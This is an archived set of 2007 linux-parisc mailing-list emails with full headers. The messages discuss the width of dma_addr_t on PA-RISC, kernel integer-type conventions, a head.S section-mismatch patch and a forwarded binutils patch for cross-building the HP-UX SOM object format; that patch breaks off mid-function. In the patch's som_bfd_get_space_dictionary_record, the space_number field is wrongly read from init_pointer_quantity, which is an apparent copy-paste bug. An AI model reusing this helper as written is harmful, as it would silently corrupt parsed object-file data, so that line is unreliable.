Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:41
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/41>

Grant Grundler wrote:
> On Sat, Dec 22, 2007 at 12:15:31PM +0000, rubisher wrote:
>> Hello *,
>>
>> Continuing my blind investigation on ccio-dma stuff, I read those 2 
>> different comments:
>> in include/asm-parisc/scatterlist.h, scartterlist structure is defined like 
>> this:
>> struct scatterlist {
>> #ifdef CONFIG_DEBUG_SG
>>         unsigned long sg_magic;
>> #endif
>>         unsigned long page_link;
>>         unsigned int offset;
>>
>>         unsigned int length;
>>
>>         /* an IOVA can be 64-bits on some PA-Risc platforms. */
>>         dma_addr_t iova;        /* I/O Virtual Address */
>>         __u32      iova_length; /* bytes mapped */
>> };
>>
>> in absolute the comment "an IOVA can be 64-bits on some PA-Risc platforms." 
>> seems ok.
> 
> Yes, it's correct. pa8800 allows 64-bit capabale devices to bypass the IOMMU.
> But I don't think we allow it yet since we would need to add code that stuffs
> the Virtual Index (for DMA to be cache coherent) into the high bits of the IOVA.
> 
> 
>> but otoh, include/asm-parisc/types.h, defined dma_addr_t like this:
>>
>> /* Dma addresses are 32-bits wide.  */
>>
>> typedef u32 dma_addr_t;
>> typedef u64 dma64_addr_t;
>>
>> #endif /* __ASSEMBLY__ */
> 
> Yes, this matches the current implementation.
> Adding support for "bypass" on zx1 chipsets (pa8800/pa8900 CPUs) will
> require something more clever.
> 
>> OK it's just a comment but imho there is interesting matter in x86:
>>
>> typedef u64 dma64_addr_t;
>> #if defined(CONFIG_X86_64) || defined(CONFIG_HIGHMEM64G)
>> /* DMA addresses come in 32-bit and 64-bit flavours. */
>> typedef u64 dma_addr_t;
>> #else
>> typedef u32 dma_addr_t;
>> #endif
>>
>> But I simply have no idea which "#if defined" would be the most relevant 
>> for parisc, any idea?
> 
> u32 is correct now. u64 could be used for 64-bit builds when someone decides
> we should bypass the IOMMU to improve DMA mapping/unmapping performance.
> 
> 3-4 years ago I saw about 3% better performance for Storage Devices
> _with_ the IOMMU enabled. IIRC, it was because of coalescing the longer
> SG lists into a single IOMMU entry was more efficient for the PCI device.
> Smaller, non-contiguous IOs would benefit from IOMMU bypass - e.g. NIC
> workloads.
> 
> hth,
> grant
> 
Ok,

btw do you notice how much way are there (in so few lines) to use a unsigned 32bits integer: u32, __u32 but also uint32_t, 
u_int32_t, ...

Is there some advise om the best pratice?

Ah also related to ccio-dma patch test on my c110, it seems that removing DELAYED_RESOURCE_CNT code help a bit this system 
with few ram (64Mb only) to survive a bit longer (enough to debootstrap and download 800Mb to be installed) but that didn't 
make the drill: there are still fs corruption from time to time and some reset on the lasi disk ;-(.
This test just seems to confirm an issue of i/o coherency somewhere but where those rules could be broken???

Merry Xmas,
	r.
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: dma_addr_t: which comment is correct?
Date: Mon, 24 Dec 2007 01:51:59 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <20071224085159.GC15161@colo.lackof.org>
References: <476CFFE3.3040102@scarlet.be> <20071223093903.GA30259@colo.lackof.org> <476EE63A.9080807@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1198486346 26252 80.91.229.12 (24 Dec 2007 08:52:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 24 Dec 2007 08:52:26 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: rubisher <rubisher@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 24 09:52:39 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J6j39-0000ol-5P
	for glpp-linux-parisc@gmane.org; Mon, 24 Dec 2007 09:52:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751432AbXLXIwR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 24 Dec 2007 03:52:17 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750906AbXLXIwR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 24 Dec 2007 03:52:17 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:55712 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750778AbXLXIwQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 24 Dec 2007 03:52:16 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 2F4DF338277;
	Mon, 24 Dec 2007 01:52:14 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16877-09; Mon, 24 Dec 2007 01:51:59 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 92441338271; Mon, 24 Dec 2007 01:51:59 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <476EE63A.9080807@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:42
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/42>

On Sun, Dec 23, 2007 at 10:50:34PM +0000, rubisher wrote:
...
> btw do you notice how much way are there (in so few lines) to use a 
> unsigned 32bits integer: u32, __u32 but also uint32_t, u_int32_t, ...
>
> Is there some advise om the best pratice?

IIRC, Preferred is "u32". But use whatever is consistent with the
file you are editing.

>
> Ah also related to ccio-dma patch test on my c110, it seems that removing 
> DELAYED_RESOURCE_CNT code help a bit this system with few ram (64Mb only) 
> to survive a bit longer (enough to debootstrap and download 800Mb to be 
> installed) but that didn't make the drill: there are still fs corruption 
> from time to time and some reset on the lasi disk ;-(.
> This test just seems to confirm an issue of i/o coherency somewhere but 
> where those rules could be broken???

ISTR Joel Soete reporting problems for CCIO machines as well.
Offhand, I don't know what's wrong and we depend on Ryan Bradetich
and other volunteers to track that down. 

cheers,
grant

>
> Merry Xmas,
> 	r.
> -
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: dma_addr_t: which comment is correct?
Date: Wed, 26 Dec 2007 11:01:26 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <7d01f9f00712260201m55730a62w4d7c5ff2f6937fcd@mail.gmail.com>
References: <476CFFE3.3040102@scarlet.be>
	 <20071223093903.GA30259@colo.lackof.org> <476EE63A.9080807@scarlet.be>
	 <20071224085159.GC15161@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1198663298 4932 80.91.229.12 (26 Dec 2007 10:01:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Dec 2007 10:01:38 +0000 (UTC)
Cc: rubisher <rubisher@scarlet.be>, linux-parisc@vger.kernel.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 26 11:01:51 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J7T5B-0004LA-Io
	for glpp-linux-parisc@gmane.org; Wed, 26 Dec 2007 11:01:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751307AbXLZKB2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Dec 2007 05:01:28 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751310AbXLZKB2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 26 Dec 2007 05:01:28 -0500
Original-Received: from an-out-0708.google.com ([209.85.132.251]:27266 "EHLO
	an-out-0708.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751307AbXLZKB1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Dec 2007 05:01:27 -0500
Original-Received: by an-out-0708.google.com with SMTP id d31so428493and.103
        for <linux-parisc@vger.kernel.org>; Wed, 26 Dec 2007 02:01:26 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        bh=dMOcONXus3Bx5WnN/XTJqg1NduplrwgYdsTpBSiOWzE=;
        b=XlLgvfHXBEBMz9HZRqq5tZD+N1nOCnKlrV0bZ5CaXNihifuhTd2EdqCb43+AcVPAHeAdFwN51ILY65O4Zrh54UpyMMihc1Z1E5UTq4JIjan2K12EHyu/Rmpnu4OyhMZ2XEUheteoE2UGPI/9nCD5F+FRdxW57vaR/WudIMDWAMc=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=xjlkgTnuvTW5QZmkNfv4p7XvkW250R9kCGmvNfiBLbMZgFLQ2yIlbh9zJjmGB6MtOQjEmff59z/NHLd/Gn34AoBZFQTqtMDEsxfEMnR15g9odNmDWqT8XCMJnuvKSpe93tvHj8L6ljqpjnhScG3sbe++fmV/YvT8tTrohB+4qCg=
Original-Received: by 10.100.201.16 with SMTP id y16mr13655602anf.83.1198663286402;
        Wed, 26 Dec 2007 02:01:26 -0800 (PST)
Original-Received: by 10.100.242.12 with HTTP; Wed, 26 Dec 2007 02:01:26 -0800 (PST)
In-Reply-To: <20071224085159.GC15161@colo.lackof.org>
Content-Disposition: inline
X-Google-Sender-Auth: 3249ce6b7f952857
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:43
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/43>

On Dec 24, 2007 9:51 AM, Grant Grundler <grundler@parisc-linux.org> wrote:
> On Sun, Dec 23, 2007 at 10:50:34PM +0000, rubisher wrote:
> ...
> > btw do you notice how much way are there (in so few lines) to use a
> > unsigned 32bits integer: u32, __u32 but also uint32_t, u_int32_t, ...
> >
> > Is there some advise om the best pratice?
>
> IIRC, Preferred is "u32". But use whatever is consistent with the
> file you are editing.

IIRC, the __xx variants are to be used for userspace exported headers.
See the comment in include/asm-parisc/types.h

HTH and merry Xmas

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Fwd: [parisc-linux] [PATCH] Section mismatch fix
Date: Wed, 26 Dec 2007 18:07:01 +0100
Lines: 67
Approved: news@gmane.org
Message-ID: <200712261807.01768.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1198688838 4092 80.91.229.12 (26 Dec 2007 17:07:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Dec 2007 17:07:18 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 26 18:07:29 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J7Zj6-00047f-RT
	for glpp-linux-parisc@gmane.org; Wed, 26 Dec 2007 18:07:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751145AbXLZRHI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Dec 2007 12:07:08 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751328AbXLZRHH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 26 Dec 2007 12:07:07 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:55624 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751145AbXLZRHG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Dec 2007 12:07:06 -0500
Original-Received: (qmail invoked by alias); 26 Dec 2007 17:07:03 -0000
Original-Received: from mnhm-590f56ec.pool.einsundeins.de (EHLO ls-cups.box) [89.15.86.236]
  by mail.gmx.net (mp033) with SMTP; 26 Dec 2007 18:07:03 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19bJbd2wkRbRYJAMcLoxbC4cgYXXKNMEOuOQ+ICmn
	wmLsWQU/ipZjE4
Content-Disposition: inline
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@
	13<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"':
	t"f6wKtHUPFB&/]Z5^?9~IQs=16R;Pg"NS9JD=DK!ft&4b@S~&q/MfI3;qWqlg7Q1==jS4
	9V5OJkm$WQ[dc^_Y']DvibvMjizUZ]+'Jd4UnM><yrT}Rw(
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:44
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/44>

Just resending it to our new mailing list (my original mail was eaten by our old list).
Kyle wanted to (partly) add it to his tree, but it's not there yet.

Helge

----------  Forwarded Message  ----------

Subject: [parisc-linux] [PATCH] Section mismatch fix
Date: Saturday 17 November 2007
From: Helge Deller <deller@gmx.de>
To: Kyle McMartin <kyle@parisc-linux.org>, parisc-linux@lists.parisc-linux.org

- move boot_args[] into the init section
- move $global$ into the read_mostly section
- fix the following two section mismatches:
WARNING: vmlinux.o(.text+0x9c): Section mismatch: reference to .init.text:start_kernel (between '$pgt_fill_loop' and '$is_pa20')
WARNING: vmlinux.o(.text+0xa0): Section mismatch: reference to .init.text:start_kernel (between '$pgt_fill_loop' and '$is_pa20')

Signed-off-by: Helge Deller <deller@gmx.de>

 head.S |    7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/arch/parisc/kernel/head.S b/arch/parisc/kernel/head.S
index a7b8859..ec2482d 100644
--- a/arch/parisc/kernel/head.S
+++ b/arch/parisc/kernel/head.S
@@ -20,10 +20,11 @@
 #include <asm/pgtable.h>
 
 #include <linux/linkage.h>
+#include <linux/init.h>
 
 	.level	LEVEL
 
-	.data
+	__INITDATA
 ENTRY(boot_args)
 	.word 0 /* arg0 */
 	.word 0 /* arg1 */
@@ -31,7 +32,7 @@ ENTRY(boot_args)
 	.word 0 /* arg3 */
 END(boot_args)
 
-	.text
+	.section .text.head
 	.align	4
 	.import init_thread_union,data
 	.import fault_vector_20,code    /* IVA parisc 2.0 32 bit */
@@ -343,7 +344,7 @@ smp_slave_stext:
 ENDPROC(stext)
 
 #ifndef CONFIG_64BIT
-	.data
+	.section .data.read_mostly
 
 	.align	4
 	.export	$global$,data
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Fwd: patch for HPUX SOM on non-HPUX systems
Date: Wed, 26 Dec 2007 18:09:56 +0100
Lines: 2589
Approved: news@gmane.org
Message-ID: <200712261809.56673.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_krocHuLsSsQb0xh"
X-Trace: ger.gmane.org 1198689021 4718 80.91.229.12 (26 Dec 2007 17:10:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Dec 2007 17:10:21 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 26 18:10:32 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J7Zm1-00047f-C6
	for glpp-linux-parisc@gmane.org; Wed, 26 Dec 2007 18:10:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751301AbXLZRKI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Dec 2007 12:10:08 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751401AbXLZRKI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 26 Dec 2007 12:10:08 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:46096 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751301AbXLZRKB (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Dec 2007 12:10:01 -0500
Original-Received: (qmail invoked by alias); 26 Dec 2007 17:09:57 -0000
Original-Received: from mnhm-590f56ec.pool.einsundeins.de (EHLO ls-cups.box) [89.15.86.236]
  by mail.gmx.net (mp045) with SMTP; 26 Dec 2007 18:09:57 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/ROlFDyIfRmqsgAmYvR+ed19k/4TrKRKUh1pJ5PC
	OqpktcUbCeEdxH
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@
	13<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"':
	t"f6wKtHUPFB&/]Z5^?9~IQs=16R;Pg"NS9JD=DK!ft&4b@S~&q/MfI3;qWqlg7Q1==jS4
	9V5OJkm$WQ[dc^_Y']DvibvMjizUZ]+'Jd4UnM><yrT}Rw(
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:45
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/45>


--Boundary-00=_krocHuLsSsQb0xh
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

I found this pretty interesting, esp. in case we want to enhance our kernel SOM support in future.
Helge

--------------- Forwarded message (begin)

Subject: patch for HPUX SOM on non-HPUX systems
From: David Leonard <David.Leonard@quest.com>
Date: Wed, 12 Dec 2007 02:23:10 +0100
Newsgroup: gmane.comp.gnu.binutils.bugs

Here is a patch to allow hpux's som target to build on non-hpux hosts. I 
have been using it in a linux x86_64 environment which has a different 
long size and endianness. Also tested on hpux11.00.
Enjoy!

notes:
The patch applies to binutils-2.18, and is licensed under gpl v2.
I was careful to make only minimal changes to som.c.
The header files were re-written by hand, mainly to use preprocessor hex 
constants instead of bit fields. They were cribbed from online 
documentation by hp, and the few missing constants were extracted from 
hpux header files. The bulk of the patch was generated by a perl script 
to perform reliable byte swapping of the structures.
This work is part of a cross compiler effort here at Quest, So, I 
anticipate some more stress testing soon.

Jeff Law wrote:

> The SOM code has never been designed to be cross-compilation safe,
> particularly in terms of endianness and datatype size issues. 
http://sources.redhat.com/ml/binutils/2002-01/msg00168.html

--------------- Forwarded message (end)


--Boundary-00=_krocHuLsSsQb0xh
Content-Type: text/plain;
  name="patch.som"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline; filename="patch.som"

Index: include/som/spacehdr.h
===================================================================
--- include/som/spacehdr.h	(revision 0)
+++ include/som/spacehdr.h	(revision 12)
@@ -0,0 +1,71 @@
+/* Declaration of data structures for the PA-SOM object format.
+   (c) 2007, Quest Software, Inc. All rights reserved.
+   Written by David Leonard based on information published by Hewlett-Packard.
+
+   This file is part of BFD, the Binary File Descriptor library.
+
+   This program is free software; you can redistribute it and/or modify
+   it under the terms of the GNU General Public License as published by
+   the Free Software Foundation; either version 2 of the License, or
+   (at your option) any later version.
+
+   This program is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   GNU General Public License for more details.
+
+   You should have received a copy of the GNU General Public License
+   along with this program; if not, write to the Free Software Foundation, Inc.,
+   51 Franklin Street - Fifth Floor, Boston, MA 02110-1301, USA.  */
+
+#ifndef _bfd_som_spacehdr_h
+#define _bfd_som_spacehdr_h
+
+#include "aouttypes.h"
+
+struct space_dictionary_record {
+    union name_pt   name;
+    uint32_t        flags;
+#define SPA_IS_LOADABLE                 0x80000000
+#define SPA_IS_DEFINED                  0x40000000
+#define SPA_IS_PRIVATE                  0x20000000
+#define SPA_HAS_INTERMEDIATE_CODE       0x10000000
+#define SPA_IS_TSPECIFIC                0x08000000
+#define SPA_IS_IGNORE_DBG               0x04000000
+#define SPA_RESERVED_MASK               0x03ff0000
+#define SPA_RESERVED_SHIFT              16
+#define SPA_SORT_KEY_MASK               0x0000ff00
+#define SPA_SORT_KEY_SHIFT              8
+#define SPA_RESERVED2_MASK              0x000000ff
+#define SPA_RESERVED2_SHIFT             0
+    int32_t         space_number;
+    int32_t         subspace_index;
+    uint32_t        subspace_quantity;
+    int32_t         loader_fix_index;
+    uint32_t        loader_fix_quantity;
+    int32_t         init_pointer_index;
+    uint32_t        init_pointer_quantity;
+};
+
+struct internal_space_dictionary_record {
+    union internal_name_pt name;
+    bfd_boolean     is_loadable;
+    bfd_boolean     is_defined;
+    bfd_boolean     is_private;
+    bfd_boolean     has_intermediate_code;
+    bfd_boolean     is_tspecific;
+    bfd_boolean     is_ignore_dbg;
+    uint8_t         sort_key;
+    int32_t         space_number;
+    int32_t         subspace_index;
+    uint32_t        subspace_quantity;
+    int32_t         loader_fix_index;
+    uint32_t        loader_fix_quantity;
+    int32_t         init_pointer_index;
+    uint32_t        init_pointer_quantity;
+};
+
+#define SPAHDR  struct space_dictionary_record
+#define SPAHSZ  sizeof(SPAHDR)
+
+#endif /* _bfd_som_spacehdr_h */
Index: include/som/somswap.h
===================================================================
--- include/som/somswap.h	(revision 0)
+++ include/som/somswap.h	(revision 12)
@@ -0,0 +1,587 @@
+/* Structure swapping functions for accessing the PA-SOM object format.
+   (c) 2007, Quest Software, Inc. All rights reserved.
+   Written by David Leonard based on information published by Hewlett-Packard.
+
+   This file is part of BFD, the Binary File Descriptor library.
+
+   This program is free software; you can redistribute it and/or modify
+   it under the terms of the GNU General Public License as published by
+   the Free Software Foundation; either version 2 of the License, or
+   (at your option) any later version.
+
+   This program is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   GNU General Public License for more details.
+
+   You should have received a copy of the GNU General Public License
+   along with this program; if not, write to the Free Software Foundation, Inc.,
+   51 Franklin Street - Fifth Floor, Boston, MA 02110-1301, USA.  */
+
+#ifndef _bfd_som_somswap_h
+#define _bfd_som_somswap_h
+
+/*
+ * Structure swapping.
+ *
+ * SOM structures are 32-bit big-endian. 
+ * 'Internal' structure equivalents are used to hold host
+ * pointers and host-endian integers. In many cases, an 'internal'
+ * structure is not required, because simple byte swapping is sufficient.
+ * However, if the structure contains a pointer, or bit fields, then
+ * an internal structure is provided.
+ * (Bit fields need separate representation because byte swapping doesn't 
+ * work with them.)
+ */
+
+#include "a.out.h"
+#include "lst.h"
+
+static void
+som_bfd_get_sys_clock (bfd * abfd, const struct sys_clock * src, 
+    struct sys_clock * dst)
+{
+    dst->secs     = H_GET_32 (abfd, &src->secs);
+    dst->nanosecs = H_GET_32 (abfd, &src->nanosecs);
+}
+
+static void
+som_bfd_put_sys_clock (bfd * abfd, const struct sys_clock * src, 
+    struct sys_clock * dst)
+{
+    H_PUT_32 (abfd, src->secs, &dst->secs);
+    H_PUT_32 (abfd, src->nanosecs, &dst->nanosecs);
+}
+
+static void
+som_bfd_get_name_pt (bfd * abfd, const union name_pt * src,
+    union internal_name_pt * dst )
+{
+    dst->n_strx = H_GET_32 (abfd, &src->n_strx);
+}
+
+static void
+som_bfd_put_name_pt (bfd * abfd, const union internal_name_pt * src,
+    union name_pt * dst )
+{
+    H_PUT_32 (abfd, src->n_strx, &dst->n_strx);
+}
+
+static void
+som_bfd_get_space_dictionary_record (bfd * abfd, 
+    const struct space_dictionary_record * src,
+    struct internal_space_dictionary_record * dst)
+{
+    uint32_t flags;
+
+    som_bfd_get_name_pt (abfd, &src->name, &dst->name);
+    flags = H_GET_32 (abfd, &src->flags);
+    dst->is_loadable = flags & SPA_IS_LOADABLE;
+    dst->is_defined = flags & SPA_IS_DEFINED;
+    dst->is_private = flags & SPA_IS_PRIVATE;
+    dst->has_intermediate_code = flags & SPA_HAS_INTERMEDIATE_CODE;
+    dst->is_tspecific = flags & SPA_IS_TSPECIFIC;
+    dst->is_ignore_dbg = flags & SPA_IS_IGNORE_DBG;
+    dst->sort_key = (flags & SPA_SORT_KEY_MASK) >> SPA_SORT_KEY_SHIFT;
+    dst->space_number          = H_GET_32 (abfd, &src->init_pointer_quantity);
+    dst->subspace_index        = H_GET_32 (abfd, &src->subspace_index);
+    dst->subspace_quantity     = H_GET_32 (abfd, &src->subspace_quantity);
+    dst->loader_fix_index      = H_GET_32 (abfd, &src->loader_fix_index);
+    dst->loader_fix_quantity   = H_GET_32 (abfd, &src->loader_fix_quantity);
+    dst->init_pointer_index    = H_GET_32 (abfd, &src->init_pointer_index);
+    dst->init_pointer_quantity = H_GET_32 (abfd, &src->init_pointer_quantity);
+}
+
+static void
+som_bfd_put_space_dictionary_record (bfd * abfd, 
+    const struct internal_space_dictionary_record * src,
+    struct space_dictionary_record * dst)
+{
+    uint32_t flags;
+
+    memset (dst, 0, sizeof *dst);
+    som_bfd_put_name_pt (abfd, &src->name, &dst->name);
+    flags = 0;
+    flags |= src->is_loadable ? SPA_IS_LOADABLE : 0;
+    flags |= src->is_defined ? SPA_IS_DEFINED : 0;
+    flags |= src->is_private ? SPA_IS_PRIVATE : 0;
+    flags |= src->has_intermediate_code ? SPA_HAS_INTERMEDIATE_CODE : 0;
+    flags |= src->is_tspecific ? SPA_IS_TSPECIFIC : 0;
+    flags |= src->is_ignore_dbg ? SPA_IS_IGNORE_DBG : 0;
+    flags |= (src->sort_key << SPA_SORT_KEY_SHIFT) & SPA_SORT_KEY_MASK;
+    H_PUT_32 (abfd, flags, &dst->flags);
+    H_PUT_32 (abfd, src->space_number, &dst->space_number);
+    H_PUT_32 (abfd, src->subspace_index, &dst->subspace_index);
+    H_PUT_32 (abfd, src->subspace_quantity, &dst->subspace_quantity);
+    H_PUT_32 (abfd, src->loader_fix_index, &dst->loader_fix_index);
